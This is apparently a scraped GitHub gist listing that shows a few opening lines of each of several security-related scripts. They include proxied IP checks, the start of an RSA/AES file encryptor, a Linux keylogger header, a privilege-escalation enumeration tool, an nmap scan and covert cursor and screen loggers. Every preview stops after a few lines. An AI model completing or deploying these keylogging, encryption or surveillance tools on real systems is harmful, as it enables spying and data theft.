This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
import requests | |
from urllib.request import urlretrieve, ProxyHandler, build_opener, install_opener | |
def check_ip(): | |
current_ip = requests.get( | |
url='http://icanhazip.com/', | |
proxies=socks_proxy, | |
verify=False | |
) | |
return current_ip.text |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
curl -s checkip.dyndns.org | sed 's#.*Address: \(.*\)</b.*#\1#' | |
wget -qO - ipv4bot.whatismyipaddress.com | |
curl 'https://api.ipify.org?format=txt' |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/usr/bin/env python | |
import os | |
import fnmatch | |
from Crypto.PublicKey import RSA | |
from Crypto.Random import get_random_bytes | |
from Crypto.Cipher import AES, PKCS1_OAEP | |
def encrypt_file(data, enc_filename): | |
try: |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/usr/bin/env python | |
from Crypto.PublicKey import RSA | |
new_key = RSA.generate(2048, e=65537) | |
public_key = new_key.publickey().exportKey('PEM') | |
private_key = new_key.exportKey('PEM') | |
print(public_key) | |
print(private_key) |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/usr/bin/env python | |
""" | |
Based on script by Aman Deep | |
A simple keylogger witten in python for linux platform | |
All keystrokes are recorded in a log file. | |
The program terminates when grave key(`) is pressed | |
grave key is found below Esc key |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/usr/env python2 | |
############################################################################################################### | |
## [Title]: linuxprivchecker.py -- a Linux Privilege Escalation Check Script | |
## [Author]: Mike Czumak (T_v3rn1x) -- @SecuritySift | |
##------------------------------------------------------------------------------------------------------------- | |
## [Details]: | |
## This script is intended to be executed locally on a Linux box to enumerate basic system info and | |
## search for common privilege escalation vectors such as world writable files, misconfigurations, clear-text | |
## passwords and applicable exploits. |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
# Nmap to scan the top 1000 most | |
# common ports, give us the service | |
# version information for any open | |
# ports, write it to an output | |
# file and use our csv file as a | |
# list of IPs to scan. | |
sudo nmap -sSV -oA OUTPUTFILE -T4 -iL IPS.csv |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/usr/bin/env python | |
import os | |
import time | |
from Xlib import display | |
old_x = 0 | |
old_y = 0 | |
old_dur = 0 | |
end_time = 0 | |
logfile = os.environ['HOME'] + '/.cursor.log' |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/usr/bin/env python | |
############################################################################# | |
## | |
## Copyright (C) 2013 Riverbank Computing Limited. | |
## Copyright (C) 2010 Nokia Corporation and/or its subsidiary(-ies). | |
## All rights reserved. | |
## | |
## This file is part of the examples of PyQt. |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/usr/bin/env python | |
import os | |
from Xlib import display, X | |
from PIL import Image | |
dsp = display.Display() | |
screen = dsp.screen() | |
W = screen.width_in_pixels | |
H = screen.height_in_pixels |
OlderNewer